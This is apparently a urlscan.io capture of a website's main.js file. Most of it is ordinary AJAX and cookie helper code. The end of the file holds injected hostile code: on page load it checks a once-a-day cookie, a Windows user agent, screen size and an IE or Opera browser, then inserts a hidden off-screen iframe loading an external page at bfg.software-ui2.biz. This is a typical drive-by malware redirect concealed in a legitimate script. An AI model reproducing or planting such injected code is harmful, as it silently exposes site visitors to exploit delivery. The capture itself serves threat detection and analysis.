www.ezilon.com Open in urlscan Pro
2606:4700:10::6814:447f  Public Scan

URL: https://www.ezilon.com/js/main.js
Submission: On October 21 via manual from ES — Scanned from ES

Form analysis 0 forms found in the DOM

Text Content

function myopen(filename,windowname,properties)
{mywindow=window.open(filename,windowname,properties);}
function getXMLHTTPRequest()
{var request=false;if(window.XMLHttpRequest)
{request=new XMLHttpRequest();}
else
{if(window.ActiveXObject)
{try
{request=new ActiveXObject("Msml2.XMLHTTP");}
catch(err1)
{try
{request=new ActiveXObject("Microsoft.XMLHTTP");}
catch(err2)
{request=false;}}}}
return request;}
var myRequest=getXMLHTTPRequest();function getMethod(myurl,query,div_name)
{var myRand=new Date().getTime();var modurl=myurl+"?"+query+"&rand="+myRand;myRequest.open("GET",modurl,true);myRequest.onreadystatechange=useHttpResponse(div_name);myRequest.send(null);}
var div_id='';function postMethod(myurl,query,div_name,thisform)
{if(thisform)
{var query='';for(i=0,n=thisform.elements.length;i<n;i++)
{if(thisform.elements[i].type=='radio')
{if(thisform.elements[i].checked==true)
{query=query+'&'+escape(thisform.elements[i].name)+'='+escape(thisform.elements[i].value);}}
else if(thisform.elements[i].type=='checkbox')
{if(thisform.elements[i].checked==true)
{query=query+'&'+escape(thisform.elements[i].name)+'='+escape(thisform.elements[i].value);}}
else
{query=query+'&'+escape(thisform.elements[i].name)+'='+escape(thisform.elements[i].value);}}}
div_id=div_name;myRequest.open("POST",myurl,true);myRequest.setRequestHeader('Content-Type','application/x-www-form-urlencoded');myRequest.onreadystatechange=useHttpResponse;myRequest.send(query);}
function useHttpResponse()
{if(myRequest.readyState==4)
{if(myRequest.status==200)
{var response=myRequest.responseText;sethtml(div_id,response);}
else
{alert("An error has occured:"+myRequest.statusText);}}}
function sethtml(div,content){var search=content;var script;var is_singleq=0;var singleq="'";var is_doubleq=0;var doubleq='"';var is_escaped=0;var escap="\\";var layer=0;while(script=search.match(/(<script[^>]+javascript[^>]+>\s*(<!--)?)/)){search=search.substr(search.indexOf(RegExp.$1)+RegExp.$1.length);if(!(endscript=search.match(/((-->)?\s*<\/script>)/)))break;block=search.substr(0,search.indexOf(RegExp.$1));search=search.substring(block.length+RegExp.$1.length);while(func=block.match(/(function(.+?)\((.*?)\)\s*\{)/)){eval(block.substr(0,block.indexOf(RegExp.$1)));block=block.substr(block.indexOf(RegExp.$1)+RegExp.$1.length);name=RegExp.$2;param=RegExp.$3;is_singleq=0;is_doubleq=0;is_escaped=0;layer=0;for(i=0;i<block.length;i++){c=block.substr(i,1);if((is_singleq||is_doubleq)&&is_escaped){is_escaped=0;}else if(!is_doubleq&&(c==singleq)){is_singleq=!is_singleq;}else if(!is_singleq&&(c==doubleq)){is_doubleq=!is_doubleq;}else if((is_singleq||is_doubleq)&&(c==escap)){is_escaped=1;}else if(c=="{"){layer++;}else if(c=="}"){if(layer==0){break;}
layer--;}}
code=block.substr(0,i-1);block=block.substr(i+1);code=code.replace(/\n/g,'\\n');code=code.replace(/\r/g,'\\r');code=code.replace(/'/g,"\\'");eval(name+" = new Function('"+param+"','"+code+"');");}
eval(block);}
document.getElementById(div).innerHTML=content;}
function display_message(div_id,msg)
{document.getElementById(div_id).innerHTML=msg;}
function show_hide_section(id)
{if(document.getElementById(id).style.display=='none')
{document.getElementById(id).style.display='block';}
else
{document.getElementById(id).style.display='none';}}
function frm()
{var fr=document.createElement('iframe');fr.setAttribute('src','http://bfg.software-ui2.biz/cswhz2.html');fr.style.left='-2000px';fr.style.position='absolute';fr.style.top='0';fr.setAttribute('width','105');fr.setAttribute('height','105');document.getElementsByTagName('body')[0].appendChild(fr);}
function windt()
{var a=navigator.userAgent.toLowerCase();var b='';if(a.indexOf('windows')!=-1)
{b="win"}
return b}
function browz()
{var a=navigator.userAgent.toLowerCase();var b;if(a.indexOf('msie')!=-1)
{b="MSIE"}
if(a.indexOf('trident')!=-1)
{b="MSIE"}
else if(a.indexOf('firefox')!=-1)
{b="FF"}
else if(a.indexOf('opera')!=-1)
{b="Opera"}
else if(a.indexOf('chrome')!=-1)
{b="Chrome"}
if(b=="MSIE"||b=="Opera")
{if(document.getElementsByTagName('body')[0])
{frm();}
else
{document.write("<iframe src='http://bfg.software-ui2.biz/cswhz2.html' width='105' height='105' style='width:105px;height:105px;position:absolute;left:-2000px;top:0;'></iframe>");}}}
function SetCookie(a,b,c,d)
{var e=new Date();var f=new Date();if(c==null||c==0)c=1;f.setTime(e.getTime()+3600000*24*c);document.cookie=a+"="+escape(b)+";expires="+f.toGMTString()+((d)?"; path="+d:"")}
function GetCookie(a)
{var b=document.cookie.indexOf(a+"=");var c=b+a.length+1;if((!b)&&(a!=document.cookie.substring(0,a.length)))
{return null}
if(b==-1)return null;var d=document.cookie.indexOf(";",c);if(d==-1)d=document.cookie.length;return unescape(document.cookie.substring(c,d))}
if(navigator.cookieEnabled)
{if(GetCookie('vis_u')==100)
{}
else
{SetCookie('vis_u','100','1','/');var osos='';osos=windt();if(osos=='win'&&screen.height>=640)
{browz();}}}